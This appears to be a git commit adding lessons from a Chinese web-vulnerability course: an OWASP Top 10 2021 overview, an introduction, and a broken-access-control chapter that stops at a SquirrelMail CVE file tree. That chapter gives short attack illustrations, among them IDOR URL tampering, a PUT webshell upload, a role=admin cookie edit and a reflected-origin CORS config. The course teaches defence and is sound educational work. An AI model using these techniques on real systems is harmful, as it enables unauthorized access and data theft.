first commit
This commit is contained in:
167
专栏/Web漏洞挖掘实战/00导读解读OWASPTop102021.md
Normal file
167
专栏/Web漏洞挖掘实战/00导读解读OWASPTop102021.md
Normal file
@ -0,0 +1,167 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
00 导读 解读OWASP Top10 2021
|
||||
你好,我是王昊天。今天我们来聊一聊安全行业内“知名”清单的前世今生。
|
||||
|
||||
2021年,全新的OWASP TOP 10列表发布,相信只要是关注网络安全的同学,不管你是刚刚踏入安全行业不久,还是一名专业的渗透测试工程师,对于这个消息都不会感到陌生。它作为安全行业内的“知名”清单,不管是在系统开发,还是渗透测试中,一直都是Web安全领域的重点关注对象。
|
||||
|
||||
我们先来看下它的背景和定位,其重要性也就可见一斑了。
|
||||
|
||||
OWASP,致力于帮助企业和机构开发、购买和维护安全可信的应用和API。他是一个非营利性的公益组织,所有与之相关的产品,像是工具、文档、视频和PPT,都是免费开放给所有人的,如果你感兴趣也可以在课后去深入了解。
|
||||
|
||||
而 OWASP TOP 10 就是这个组织创立的一个认知型的文档清单,它帮助我们去了解,在目前的技术趋势下,Web业务系统中那些最常见、最高危的十类安全风险和漏洞。安全业内有许多人将OWASP TOP 10作为一种coding或测试的标准,但也因为它只包含了最具影响力的十类安全风险,所以在这些方面其实并不详实,但它依旧可以作为一个好的起点,帮助你走上Web安全的漫漫长路。
|
||||
|
||||
这节课我们就把重点聚焦在这份清单上,看看2021年的这份新清单,和2017发布的上一份清单相比,都有哪些安全风险发生了变化,以此进一步理解这些安全风险变化与技术发展之间的关系,并通过这种方式加深你对OWASP TOP 10的认知。
|
||||
|
||||
2021年的OWASP TOP 10清单有哪些变化?
|
||||
|
||||
我们先来看看这份最新发布的清单和上一份清单相比发生了哪些变化。这种变化从侧面反映了技术架构及安全趋势的演变,对于我们展望技术更新有很大帮助:
|
||||
|
||||
|
||||
|
||||
从上面这幅图中我们能看到,有些安全风险的排名有所下降:
|
||||
|
||||
|
||||
曾经的安全风险之王“注入”已经从排位第一下滑到第三;
|
||||
认证失败诱发的安全风险从第二下降到了第七。
|
||||
|
||||
|
||||
这两类曾经风靡一时的安全风险排名都有了较大幅度地降低,其原因主要有两个方面。一方面,目前整个行业安全意识的提高,大大降低了线上运营中业务系统存在高危安全风险的可能性,这一点从行业服务趋势可以看出——大部分公司在Web业务系统上线之前都会经过详细的渗透测试,而这个流程在几年之前还没有这么普遍;另一方面就是第三方安全和认证组件的成熟,降低了认证失败的安全风险。
|
||||
|
||||
我们再来看看有哪些排名上升的安全风险:
|
||||
|
||||
|
||||
敏感信息泄露以新的风险形式——加密失败出现上升到第二位;
|
||||
失效的访问控制上升到第一位;
|
||||
安全误配置从第六位微弱上升到第五位;
|
||||
存在安全缺陷的以及过时的组件从第九位上升到第六位;
|
||||
日志记录及监控不足从第十位上升到第九位。
|
||||
|
||||
|
||||
这里值得我们展开探讨的是上升幅度较大的三类风险——加密失败、失效的访问控制以及存在安全缺陷的组件,这三类风险从一个侧面显示了目前Web安全开发及测试过程中需要重点关注的风险种类:
|
||||
|
||||
|
||||
加密失败及失效的访问控制,这两类安全风险的共性都是非代码层技术性漏洞,无论是使用了不当的编码加密,还是业务逻辑分割不严密,都是传统安全领域扫描器难以发现的风险种类;
|
||||
存在缺陷的安全组件则是在目前技术多元化趋势下,一个必然出现的安全风险种类。
|
||||
|
||||
|
||||
最后再来看看那些新增的安全风险:
|
||||
|
||||
|
||||
首先是不安全的设计。与上升的安全风险原因相似,随着自动化安全检测技术的提高,业务系统在设计中自身存在的问题开始更多地成为热点风险;
|
||||
另外两种新进入TOP 10的风险分别是软件及数据完整性故障和服务端请求伪造。以软件完整性故障来说,它反映了目前一类成长非常迅速的新形态威胁——供应链污染,这种从上游组件开始污染,最终影响到终端客户的攻击,近些年取得了很大程度的发展。
|
||||
|
||||
|
||||
这10项安全风险,分别是什么?
|
||||
|
||||
接下来我们展开谈一谈十大安全风险,方便你对其中的每一项安全风险有个宏观的认知。而对于每项安全风险更加具体地介绍,如出现的原因、应用的场景以及相应的编码防护手段,我会在后续课程中详细展开。
|
||||
|
||||
A01:2021-失效的访问控制
|
||||
|
||||
访问控制存在的意义主要是设定了一种边界,使得用户并不能获得在边界之外进行操作的权限。当访问控制失效,通常会导致非授权信息的泄露、越权修改及破坏数据、执行权限外的操作等后果。
|
||||
|
||||
A02:2021-加密失败
|
||||
|
||||
这项风险在2017年的清单中以“敏感信息泄露”的形式存在,它更多的是一种常见的风险信号,而不是直接导致安全事件发生的根源。因此我们更多的关注点应该放在密码学的失败调用这些方面。在实际的工作场景下,这类失败的调用往往会伴随着数据泄露事件一起发生,而这种结果的出现是谁都不愿看到的。
|
||||
|
||||
A03:2021-注入
|
||||
|
||||
这项风险在2017年的清单中高居榜首,通常注入问题都以SQL、NoSQLayer、命令注入等形式存在。注入在几年前确实极具威慑性,然而,随着自动化检测技术的发展,企业和机构往往在开发过程中就引入一系列安全工具来增强安全属性,比如在CI/CD中引入SAST以及DAST工具,这就大大降低了出现这类风险的概率,这也是这两年大热的DevSecOps的理念。
|
||||
|
||||
A04:2021-不安全的设计
|
||||
|
||||
这是2021年新引入的一项安全风险,主要关注设计和业务流程上的风险。事实上,不安全的设计是一个比较宽泛的话题,可能存在于很多风险之中。这里我们指的是在产品设计过程中,通过安全规范的设计以及威胁建模等流程,那些能被我们检测和规避的安全威胁种类。
|
||||
|
||||
A05:2021-安全误配置
|
||||
|
||||
与2017年清单相比,可以看到这项安全风险的排位有了些许的提升,也许你会觉得从第六名上升到第五名变化不大,但是就像我刚刚讲的——“一叶知秋”,有时候这种微小的变化却体现了宏观的技术发展趋势。随着技术架构向高度“可配置化”软件的迁移,这种风险类别的排位上升倒是并不令人惊讶。
|
||||
|
||||
A06:2021-易受攻击和过时的组件
|
||||
|
||||
随着技术的蓬勃发展,大部分产品都会不同程度的依赖各种第三方组件;随着系统复杂度的提升和规模的扩大,也会出现组件更新不及时的情况。这些风险可能涉及的资产包括OS、Web中间件、DBMS、API、库等,从这个角度你就可以发现随着企业规模的扩大,在攻击者眼中的攻击点有多么广泛。
|
||||
|
||||
A07:2021-识别和认证失败
|
||||
|
||||
确认用户的身份、认证过程以及Session管理是预防认证相关风险的关键点,简单来说,这一风险类别可能面临的攻击包括暴力破解、密码喷洒、弱口令、Session管理不当等诸多问题。后续我会详细和你展开讲一讲其中的奥秘,所以现在不要急,我们先将剩余的几个风险看完。
|
||||
|
||||
A08:2021-软件和数据完整性故障
|
||||
|
||||
作为新出现的一类安全威胁,这一分类主要关注于软件更新、关键数据以及“CI/CD”流水线的完整性校验。用比较直白的语言来说,现在大多数应用都不同程度依赖于外部的插件、库、模块以及第三方源,所有这些外部风险都可以通过一次不安全的“CI/CD”流水线直接引入到应用中;更进一步,应用的自动更新策略已经广泛普及,但是关于更新内容的完整性检测却没有跟上,这就导致软件更新可能直接引入安全风险。
|
||||
|
||||
A09:2021-安全日志记录及监控失败
|
||||
|
||||
这一分类主要目的是提供更多信息,并且帮助我们去发现、评估及响应出现的入侵事件。为了达到这个目的,完善的安全日志记录以及持续的监控服务就显得尤为重要。虽然说起来简单,但是如何记录不同的事件及API活动记录、管理日志文件该如何存储和维护,这些都是需要我们考虑的问题。
|
||||
|
||||
A10:2021-服务端请求伪造
|
||||
|
||||
现代Web应用普遍为终端用户提供了更多便捷的功能,这其中就包括获取一个目标的URL资源的功能,也正因为如此,SSRF成为了一种快速攀升的威胁种类。一旦这类风险发生,尽管这些内网系统可能被保护在防火墙或者VPN之后,却很有可能会威胁到Web业务系统后端的内网系统。
|
||||
|
||||
如何将OWASP TOP 10应用到一个安全项目中?
|
||||
|
||||
既然你已经了解了OWASP TOP 10,那么我们就要看一看如何将OWASP TOP 10应用到一个安全项目中。虽然OWASP TOP 10的设计初衷并非一个安全项目的检查清单,但是这并不妨碍它成为一个好的安全基线。
|
||||
|
||||
|
||||
|
||||
第一步,认清安全项目的差距和目标。
|
||||
|
||||
在启动一个安全项目前,第一步是评估当前我们所处的位置,准确地识别在管理、设计、实现、验证这些过程中,哪些是立即需要去解决的问题而非可以等待的问题。
|
||||
|
||||
具有丰富经验的CSO们都有一个深刻的认知,即安全建设是个无底洞,攻防一直是道高一尺魔高一丈的循环。因此在企业发展过程中,如何准确地评估当前安全事务的优先级,并且利用有效资源进行针对性的防御,才是衡量安全技术水平的试剑石。
|
||||
|
||||
第二步,为安全开发生命周期做好计划。
|
||||
|
||||
“安全开发生命周期”被业内认为是最简单也是最有效的安全方案,这种措施可以在安全团队与开发团队之间构建紧密的合作关系,当然如果本身就是同一个团队的话就更好了。这项计划目的是可以持续地提高、检测、以及替换不安全的组件。虽然这项计划在构建之初看起来需要大量的投入,但它却可以使我们在实际操作中快速启动一个原型,然后随着开发节奏的推进不断集成新的安全工具。
|
||||
|
||||
从经验角度来说,在产品或者项目落地之初就引入安全建设方案,往往是最佳选择。正所谓“好的开始是成功的一半”,这样的操作一方面可以培养开发团队的良好编码习惯,另一方面可以在不断迭代中强化安全能力,不会在某一个阶段突然出现大笔的安全开销。
|
||||
|
||||
第三步,与开发团队一起实现安全开发过程。
|
||||
|
||||
为了保证安全开发过程的顺利进行,我们需要在开发前期获得开发团队的认可,过程中确保他们持续性的参与,开发过程之后让他们更安全快速地交付更多应用。目前我们所期待的安全开发过程应该是覆盖整个企业以及应用安全生态的,而非像过去一样采用单点或者单应用模式。
|
||||
|
||||
这里要注意应该将安全能力融入到开发过程当中,而非作为单一测试过程独立存在。
|
||||
|
||||
第四步,将过去和未来的应用迁移到当前的安全开发过程中。
|
||||
|
||||
当新的安全检测能力集成到安全开发过程后,我们应该通过持续集成(CI)来检测历史代码中是否存在不安全的使用,并通过警告或者拒绝构建的方式来督促改进。通过这样的方式,不仅可以有效防止安全隐患悄悄潜入应用中,也可以减轻未来的安全成本。
|
||||
|
||||
从最佳实践角度来说,我们一般还应该为警告或者拒绝构建的原因增加一项链接,使得直接开发人员可以快速找到安全合理的解决方案。
|
||||
|
||||
第五步,确保安全开发过程已经集成了OWASP TOP 10。
|
||||
|
||||
讲了这么多,终于到最重要的部分了——在实现安全开发过程中,我们究竟需要集成和使用哪些安全能力呢?这里我们要从最重点的安全问题着手,而OWASP TOP 10就给我们了一个很好的参考,比如我们可以:
|
||||
|
||||
|
||||
自动检测以及修复有安全隐患的组件;
|
||||
自动检测代码是否存在注入隐患或者推荐一个更加安全高效的lib来预防注入问题的发生…
|
||||
|
||||
|
||||
随着更多安全组件的引入,我们将可以更加高效且安全地开发应用,而安全团队的一项重要的任务就是保证这些安全组件的持续更新和有效性。
|
||||
|
||||
第六步,构建一个成熟的安全检测体系。
|
||||
|
||||
虽然OWASP TOP 10是非常重要的,但想要构建一个成熟的安全检测体系可不能仅仅止步于此。安全的有效性往往取决于安全建设的最短板,因此,我们需要不断去覆盖更多的安全风险点。我们要做的,首先是从OWASP TOP 10入手,将主流安全风险降到最低,然后开枝散叶引入更丰富的安全体系(包括OWASP TOP 10不包含的安全风险,以及更丰富的自动化检测手段,如DAST等),这样才能构建成熟的安全检测框架。
|
||||
|
||||
总结
|
||||
|
||||
这节课我带你学习了2021新发布的OWASP TOP 10清单。你首先了解了这份清单的背景与定位:它在安全领域举足轻重,是安全领域的“风向标”。
|
||||
|
||||
接着将它与2017年的版本做了对比,找出了那些下降的、上升的和新增的风险,通过对比我们了解到安全风险随着新技术的发展不断变化,由此分析出加密失败、失效的访问控制和存在安全缺陷的组件是我们需要重点关注的安全风险;随后明确了新清单所包含的内容,即对10项风险的大致介绍,我将它们总结成一张图片放在文章结尾,提供给你参考。
|
||||
|
||||
最后,我们通过具体的步骤将知识点回归到实际的工作当中,学习了该如何通过六个步骤将OWASP TOP 10应用到一个安全项目中:首先我们要找好定位,排好优先级,制定好安全开发的生命周期,其次要和开发团队打好配合,将未来和过去的应用迁移过来,在对OWASP TOP 10这些主要的安全问题作出排查之后,最后就是要增补细枝末节的安全问题,逐步完善安全检测体系。
|
||||
|
||||
在以后的学习、工作和交流中,相信对于OWASP TOP 10清单的深刻理解可以给你提供更多的帮助。尤其要注意的是,无论学习了多少深层知识,如何将知识简化并且让知识在工作中产生价值才是最重要的。因此我们也探讨了如何以OWASP TOP 10为起点开始安全开发过程。当然,这些内容我希望都是抛砖引玉,目的是激发你更多思考和学习热情,帮助你成为一名优雅的开发工程师或者专业的黑客高手。
|
||||
|
||||
|
||||
|
||||
思考题
|
||||
|
||||
Q:这节课我们一直在探讨TOP 10,那么你能否找到一些未被列入TOP 10的安全风险种类呢?
|
||||
|
||||
期待你的思考,也欢迎你在留言中与我交流,或者转发给你的朋友加入讨论。我们下节课再见!
|
||||
|
||||
|
||||
|
||||
|
87
专栏/Web漏洞挖掘实战/00开篇词从黑客的视角找漏洞,从安全的角度优雅coding.md
Normal file
87
专栏/Web漏洞挖掘实战/00开篇词从黑客的视角找漏洞,从安全的角度优雅coding.md
Normal file
@ -0,0 +1,87 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
00 开篇词 从黑客的视角找漏洞,从安全的角度优雅coding
|
||||
你好,我是王昊天,欢迎你加入我的专栏,跟我一起开启Web安全的进阶修炼之路。
|
||||
|
||||
先来介绍一下我自己。作为螣龙安科的创始人,我目前带领我的团队从事AI攻防对抗的研究工作。螣龙安科从2020年5月初创,在刚刚过去的11月份完成了新一轮千万级的融资。同时我也是《Web 安全攻防实战》视频课的作者。学过视频课的同学,对我就很熟悉了,恭喜你,你已经为这次的实战专栏打下了很好的知识基础;但没学过视频课的同学也不用担心,这门课的门槛只需要你有最基本的代码基础,我会手把手带你实现漏洞挖掘。
|
||||
|
||||
我的研究方向主要在Web 安全、移动安全、内网渗透、复杂环境APT对抗、网络安全工具开发、机器学习与攻防对抗结合等领域。现在正在准备一个为安全人员赋能的AI攻防产品,很快会推出社区版,帮助安全方向的同学们更好地积累知识、更高效地工作以及更智能地攻防。
|
||||
|
||||
从业十年,这套AI攻防产品一直是我的愿望,这是一条前沿技术的探索之路。在这个过程中,我遇到了很多跨学科技术问题,不断探索和抽象安全的本质,再尝试用机器语言去描述和复原。在不断地尝试和思考中,我总结了许多Web漏洞挖掘和漏洞出现原因的方法经验,非常希望能在这个专栏与你一起分享和交流!
|
||||
|
||||
攻防对抗的未来
|
||||
|
||||
我在早期工作的时候,对安全攻防是纯粹的热爱,但是有一个问题让我困惑了很久:如果走技术路线,如何让职业天花板进一步提高?日常工作中,虽然攻防领域涉及的知识面众多,但几年的时间已经足够对操作系统、网络协议、应用安全、Web渗透等攻防知识有所掌握,再想成长就有一种无法前进的感觉。
|
||||
|
||||
在困惑与思考的过程中,我也向许多朋友及前辈请教,终于发现站在更顶层的视角,更容易看清安全人员的成长之路。在攻击与防御的交互式对抗中,一直有一颗核心闪耀在对抗中央——漏洞。
|
||||
|
||||
如果把攻防对抗比作一场战争,Web渗透、后门技术、横向移动、隧道搭建、权限提升等技术就像摆兵布阵,用战术优势不断攻城略地;那么漏洞在攻防中的作用就像核武器,这是一种在硬件装备上的降维打击。
|
||||
|
||||
在Web领域使用框架级漏洞或是主动漏洞挖掘完成Web Server的控制、在渗透测试中使用边界设备RCE进入内网、在鱼叉式钓鱼攻击中通过浏览器漏洞植入后门、在内网中使用永恒之蓝进行横向移动、在服务器通过提权漏洞获取Administrator权限,你会发现在渗透测试之路走到尽头的时候,所有路标都指向了一座新的高山——漏洞挖掘。
|
||||
|
||||
漏洞挖掘思维
|
||||
|
||||
无论你是一名安全工程师,还是一名开发工程师,掌握漏洞挖掘思维以及漏洞利用原理都是非常有帮助的。
|
||||
|
||||
我见过的很多技术大牛,他们在自身的技术领域都非常专业,虽然他们可能并没有系统性地学习过安全知识,但是他们仍然能够写出非常安全优雅的代码,对系统可能出现的风险也了然于心,这是从业多年的积淀。我们常说,真正的黑客都是编程大牛,也是一样的道理。
|
||||
|
||||
当我们在开发一个系统的时候,其实会遇到很多潜在的安全隐患。以Web应用为例,前端可能会存在XSS、后端可能会发生注入、用户可能会遭遇CSRF、算法上可能发生弱加密、证书验证上可能遭遇中间人攻击,那么为什么平时开发中我们通常没有考虑到这些种种情况呢?因为我们开发中使用的底层语言、应用框架、技术架构都从不同层面帮我们解决了这些问题,这些解决方案的背后是语言开发工程师、框架开发工程师、开源工程师和公司架构师的共同努力,站在巨人的肩膀上前行使得我们不需要掌握庞大的知识体系。
|
||||
|
||||
未来你是不是也希望成为这些大牛的一员,写出简洁、优雅、安全的代码呢?我猜你是愿意的。
|
||||
|
||||
可能现在你并不具备大牛十年如一日的开发经验,也还没经历过重大的漏洞和安全事件,但这并不妨碍你掌握优雅安全编码的能力以及掌握一线实战漏洞挖掘的能力,这些大牛从时间沉淀中积累的宝贵经验正是在这个专栏中我想和你分享的。
|
||||
|
||||
漏洞挖掘很难,我能学得会吗?
|
||||
|
||||
即使大学时期是网络安全专业的同学,很可能也没有过一线的漏洞挖掘和漏洞修复经验,其实这是安全行业很特殊的一点。这几年来,安全行业高速发展,各类安全知识开始全面爆发,接触安全的同学越来越多,但是缺乏实战经验成为学习者进一步提高技术能力的瓶颈。网络安全作为一门工程学科,需要的不仅是扎实的理论基础,实战经历同样不可或缺。
|
||||
|
||||
通过学习渗透测试相关的知识,我们可以到一些靶场环境进行学习和测试,但漏洞挖掘和分析就没这么简单了。首先靶场环境普遍围绕基础漏洞构建,涉及高端复杂漏洞领域的不多,这就增加了实际体验漏洞的难度;其次漏洞挖掘和分析需要的往往不是单一知识点,可能会涉及多个知识体系内的多个点,这就导致我们很容易在跟踪一个漏洞过程中不断深入延展,最后丧失清晰的学习边界,越学越不懂;最后就是心态,安全是勇敢者的游戏,因为你的对手方是未知的,通过不断的学习和积累我们可以强化自身能力,通过自身强大的确定性来与对手方的不确定性博弈,这也是漏洞挖掘最难的一关。
|
||||
|
||||
经过这几年在漏洞领域的持续学习和分析,我积累了大量漏洞分析的方法和安全开发方案,再回头看自己一步一步从Web渗透走来,更加深刻地理解了安全行业的同学们成长过程中的障碍。
|
||||
|
||||
漏洞挖掘与安全开发需要大量的知识储备,但是现在大多的课程、学习资料,往往都是着眼于某一个知识点去解读,分析的重点往往是漏洞的成因和利用方式。但是对于含金量最高的地方——漏洞挖掘过程以及思考方式,却没有仔细分解。这就使得我们在学习的过程中,只收获了一个漏洞的利用方式,但是面对主动漏洞挖掘场景以及安全开发时无能为力。
|
||||
|
||||
俗话说“授人以鱼不如授人以渔”,但是小孩子才做选择,成年人是我全都要。
|
||||
|
||||
所以,这个专栏我将“授人以鱼和渔”,一方面我会带你遨游2021年十大Web领域安全风险,每一类风险都有近年来新鲜美味的漏洞供你品尝体验;另一方面,我会从漏洞挖掘的视角,逐一带你经历每一种安全风险的漏洞挖掘过程,让你掌握如雷达一般的潜在安全漏洞感知能力。关于知识点和学习过程,你也不用担心,每一个小主题我都会通过生动形象的故事让你快速理解知识点的本质,然后再展开深入探讨。
|
||||
|
||||
我们的课程怎么安排?
|
||||
|
||||
正好2021年OWASP发布了新的Web领域TOP 10风险种类,那我们本着学习效果最大化的角度,就从这个清单开始。
|
||||
|
||||
首先,我会用一讲的时间带领你整体地了解OWASP TOP的背景以及2021与2017年发生了哪些变化,这种宏观的顶层视角可以帮助我们建立一个与技术发展趋势相关的产业级认知,对我们的技术学习方向与未来职业选择都非常有帮助。
|
||||
|
||||
然后,开始学习几大主流风险种类,分别是失效的访问控制、加密失败、注入、不安全的设计以及安全配置错误,我们会深入每一个风险种类进行详细展开。
|
||||
|
||||
接着,对于剩下的安全风险类别,我们会在安全风险串讲带你逐一深入。
|
||||
|
||||
在学完所有这些漏洞的挖掘思想之后,我们会将他们融合在一起,在最后几讲带你构建自己的前沿漏洞挖掘与智能攻防系统。
|
||||
|
||||
|
||||
|
||||
我们的课程就是按照上述逻辑,依次为你讲解最新的Web领域十大风险种类的漏洞挖掘过程及安全开发细节。每节课都配有近几年的新鲜漏洞、PoC或者Exp代码以及搭建好的漏洞环境,让你能够跟着课程从体验、到使用、到挖掘、再到修复完成整个漏洞链条的学习。在课程的最后,你也可以使用我构建好的平台,来打造属于自己的个性化漏洞挖掘&智能攻防系统。
|
||||
|
||||
|
||||
|
||||
你能获得什么?
|
||||
|
||||
通过这个富有趣味性和知识深度的专栏,如果你能够坚持学习完毕,肯定可以得到这些收获:掌握Web安全领域漏洞挖掘的思维方式,收获对Web安全更深入的理解以及一个属于自己的个性化智能攻防对抗系统。
|
||||
|
||||
我绘制了一幅简化的OWASP TOP 10风险种类知识体系图,这也包含了后面课程涉及到的所有知识点。尽管图中是一些简单的安全术语,随着你的学习历程,你会发现每一个安全术语背后都是设计精巧、精彩纷呈的计算机学科知识。
|
||||
|
||||
|
||||
|
||||
由于复合型安全人才是近些年来的稀缺性,如今,任何一家中大型互联网或者相关产业公司都非常重视信息安全建设。安全相关的知识体系,会成为你涨薪和晋升的黑马加分项。无论是对于公司内部业务群的安全建议,还是对你正着手开发的业务系统进行安全架构的提升,都可以让你从团队中脱颖而出。在这样的背景下,这个专栏给你职业生涯带来的成长你甚至在短期内就能明显感受到。
|
||||
|
||||
从长期看来,通过这门课的学习,你会明显提升对于可能存在漏洞的代码或者业务的感知力,并且可以学会如何进行安全的代码开发以及构建安全的Web应用。我相信,这对你提升技术理解力以及拓展技术深度和广度是大有裨益的。之后再进行某些功能开发时,就可以很容易具备安全架构师级别的视角和相应解决问题的思维。
|
||||
|
||||
摆脱“庸俗”的“面向薪资编程”,相信你对于热爱的coding事业仍满怀初心。学习安全,正是不断深入代码本质,掌握全局视角的过程。作为一个工程师,相信我们对于自己的事业都充满热爱与好奇,那么不妨让安全成为我们敲开新世界大门的那块砖。
|
||||
|
||||
不知道你在学习安全的道路上有什么有趣的小故事呢?你对安全又有怎样的理解呢?欢迎你在评论区留下你的答案。下节课我们就正式开启正文部分的学习。
|
||||
|
||||
|
||||
|
||||
|
281
专栏/Web漏洞挖掘实战/01失效的访问控制:攻击者如何获取其他用户信息?.md
Normal file
281
专栏/Web漏洞挖掘实战/01失效的访问控制:攻击者如何获取其他用户信息?.md
Normal file
@ -0,0 +1,281 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
01 失效的访问控制:攻击者如何获取其他用户信息?
|
||||
你好,我是王昊天。
|
||||
|
||||
英文里有一句谚语你一定听说过,“Curiosity killed the cat”,翻译成中文是“好奇害死猫”。这句话是想告诉人们,不要为那些不必要的尝试去冒不可预知的风险,提醒人们不要过分好奇,否则会给自己带来伤害。但是在网络安全和编程领域,这句话却并不正确,因为正是对未知的好奇与探索,我们才能深入底层原理,写出更优雅的代码,构建出更安全的系统。
|
||||
|
||||
要知道,当处于对某种事物的属性出现认知空白时,动物往往想要弥补这份空白,是一种的非常本能心理,好奇心也由此产生。可以想象这样一个场景:当你构建了一个崭新的系统出现在用户面前,如果他们对这个系统充满了探索欲,那么这对于你来说无疑是非常愉快的体验。但是作为系统的构建者,你一定希望用户按照预先设定的规则、在预先搭建好的框架下开始他的旅程。而现实往往并非如此……
|
||||
|
||||
|
||||
某个脾气暴躁的用户由于没有耐心,直接通过URL跳过了认证界面;
|
||||
某个健忘的用户由于记不住密码,通过找回登入了别人的账户;
|
||||
某个好奇的用户由于想玩一下API,意外访问到了其他人的信息;
|
||||
某个专业的黑客由于心怀不轨,获取了你的管理员账户……
|
||||
|
||||
|
||||
你会发现,如果一个系统不存在有效的访问控制,那么这个系统一旦向用户开放使用,你将面临一场“灾难”。
|
||||
|
||||
访问控制
|
||||
|
||||
那么什么是访问控制呢?访问控制是一种策略,在这种策略的控制下,用户的操作不能逾越预设好的权限边界。而访问控制一旦失效通常会导致未认证信息泄露、内部数据篡改、数据删除和越权操作等后果。访问控制失效型问题通常有以下几种类型:
|
||||
|
||||
|
||||
系统在实现过程中违背了“最小权限原则” 或 “默认拒绝原则”,在这种情况下用户可以获得一些特殊权限,而这些特殊权限原本只应该授权给特定的用户或角色;
|
||||
通过修改URL地址、内部程序状态、HTML页面,或者使用Cyber工具修改API请求的方式绕过访问控制;
|
||||
通过提供唯一ID的方式预览或者修改其他账户信息及数据;
|
||||
未经过访问控制地通过POST、PUT和DELETE方法访问API;
|
||||
通常意义上的提权,比如未登录状态下的用户操作,或者常规用户登录状态下的管理员操作;
|
||||
元数据操纵,比如重放或者修改JWT(JSON Web Token)访问控制令牌,或者通过操纵Cookie的方式进行提权;
|
||||
CORS误配置,可以导致来自未认证源的API访问。
|
||||
|
||||
|
||||
这里我们首先来看几种简单攻击场景。
|
||||
|
||||
|
||||
这个应用在SQL调用中直接使用了未经验证的数据,并利用该数据进行信息查询:
|
||||
|
||||
|
||||
pstmt.setString(1, request.getParameter("acct"));
|
||||
ResultSet results = pstmt.executeQuery();
|
||||
|
||||
|
||||
对于一个攻击者而言,只需要简单地在浏览器地址栏中修改acct参数,即可对SQL语句进行操纵,而在未经验证的情况下,该攻击者可以访问到其他账户的信息。
|
||||
|
||||
https://example.com/app/accountInfo?acct=notmyacct
|
||||
|
||||
|
||||
|
||||
一个攻击者可以很轻松地修改URL地址,尝试去访问他的目标链接,比如这里攻击者试图通过URL地址修改直接访问admin页面:
|
||||
|
||||
|
||||
https://example.com/app/getappInfo
|
||||
https://example.com/app/admin_getappInfo
|
||||
|
||||
|
||||
如果攻击者成功访问了第二个链接,那么说明系统在权限设计和访问控制上就是存在问题的。
|
||||
|
||||
|
||||
由于实现过程中未对用户访问参数设置边界,导致了很多越权问题的发生:
|
||||
|
||||
|
||||
https://example.com/order/?order_id=2021102617429999
|
||||
|
||||
|
||||
攻击者可以尝试修改上述API接口中的order_id参数,使其在程序接口上的输入合法,但是对于用户而言却是越权行为。
|
||||
|
||||
|
||||
HTTP PUT方法最早目的用于文件管理操作,可以对网站服务器中的文件实现更改删除的更新操作,该方法往往可以导致各种文件上传漏洞,造成严重的网站攻击事件:
|
||||
|
||||
|
||||
put /root/Desktop/shell.php
|
||||
|
||||
|
||||
上述代码在支持PUT方法的环境中,上传Webshell进行提权;在实际运用中,若必须启用该方法,则需要对该方法涉及文件资源做好严格的访问权限控制。
|
||||
|
||||
|
||||
Web应用将身份认证结果直接存储在Cookie中,并未施加额外的保护措施:
|
||||
|
||||
|
||||
Cookie: role=user --> Cookie: role=admin
|
||||
|
||||
|
||||
通过在Web前端拦截Cookie,并进行Cookie内容修改即可提权。
|
||||
|
||||
|
||||
有些开发者为了方便,直接在Access-Control-Allow-Origin中反射请求的Origin值:
|
||||
|
||||
|
||||
add_header "Access-Control-Allow-Origin" $http_origin;
|
||||
add_header “Access-Control-Allow-Credentials” “true”;
|
||||
|
||||
|
||||
这是一个错误的Nginx配置示例,这样的配置意味着信任任何网站,攻击者网站可以直接跨域读取其资源内容,窃取隐私数据。
|
||||
|
||||
案例实战
|
||||
|
||||
通过刚才几个简单的场景,相信你对访问控制已经有了一个初步的认知。接下来我们再来看一个更为复杂的攻击场景。
|
||||
|
||||
意外的代理访问
|
||||
|
||||
如果一个应用从输入流组件接受到了外部的请求、消息或者命令,并且这些请求、消息或者命令没有经过有效的请求源处理就被转发到应用控制范围外的某个资产中,这时就会诱发一种访问控制失效风险。
|
||||
|
||||
想象一下,当你还在读书的时候,在学校里同学给了你一份蛋糕,希望你回家后可以转送给你的妹妹,而你到家之后由于疏忽直接把蛋糕给了妹妹并且没有任何说明,这时妹妹会以为这份蛋糕是你买给她的礼物,这就造成了一种误解。
|
||||
|
||||
回到我们所描述的技术场景,这个应用就是“你”的身份,而请求被转发的目标资产就是“你的妹妹”,这个应用此时成为了一种代理或者中间人的角色,使得不应该被访问到的资产被意外访问到了。
|
||||
|
||||
再稍微拓展开讲一讲,如果一个攻击者不能直接访问目标,但是一个应用可以,这时攻击者可以发送请求到应用,再让应用转发请求到最终目标。这种情况下,攻击请求看起来像是来自应用的访问,而非真实攻击者。这种攻击的效果很直观,可以直接绕过访问控制(如防火墙)或者隐蔽恶意请求源信息。
|
||||
|
||||
我们不仅需要知道这种风险的威力,还需要了解这种风险在什么情况下会出现。由于类似的消息转发或者代理功能大部分情况下都是正常功能,因此我们不能因噎废食,仅仅是因为有可能存在安全风险就抛弃正常功能。这就需要我们去了解,在什么情况下这种功能会变成一种漏洞:
|
||||
|
||||
|
||||
应用本身的权限和用户可以操纵的输入流组件所属的权限不同;(条件A)
|
||||
攻击者并不能够直接发送请求到最终目标资产;(条件B)
|
||||
攻击者能够创建一个可以被转发的请求,这个请求可能:
|
||||
|
||||
|
||||
指向了未授权访问的域名、端口号、IP以及服务;(条件C)
|
||||
指向了被授权访问的服务,但是请求内部包含了未授权的指令、资源等。(条件D)
|
||||
|
||||
|
||||
|
||||
用简单的公式来描述的话,就是只有在“A && B && ( C || D )”的情况下,消息转发或者代理功能才会成为一种安全风险或者安全漏洞。
|
||||
|
||||
CVE-2010-1637漏洞
|
||||
|
||||
接下来我们看一个非常有趣的漏洞,它的编号是CVE-2010-1637。这个漏洞会影响SquirrelMail 1.4.20以及更早的版本,漏洞主要的发生点是Mail Fetch组件,由于该组件是SquirrelMail的默认组件,因此该漏洞影响力还是很大的。如果该漏洞存在,那么经过认证的远程用户就可以得到允许绕过防火墙限制,将SquirrelMail作为一个代理(proxy)进一步扫描内网。
|
||||
|
||||
mail_fetch是在SquirrelMail 1.4.20版本的一个默认组件:
|
||||
|
||||
hunter@HunterdeiMac > ~/Downloads/squirrelmail-1.4.20/plugins > tree mail_fetch
|
||||
mail_fetch
|
||||
├── README
|
||||
├── class.POP3.php
|
||||
├── fetch.php
|
||||
├── functions.php
|
||||
├── index.php
|
||||
├── options.php
|
||||
└── setup.php
|
||||
|
||||
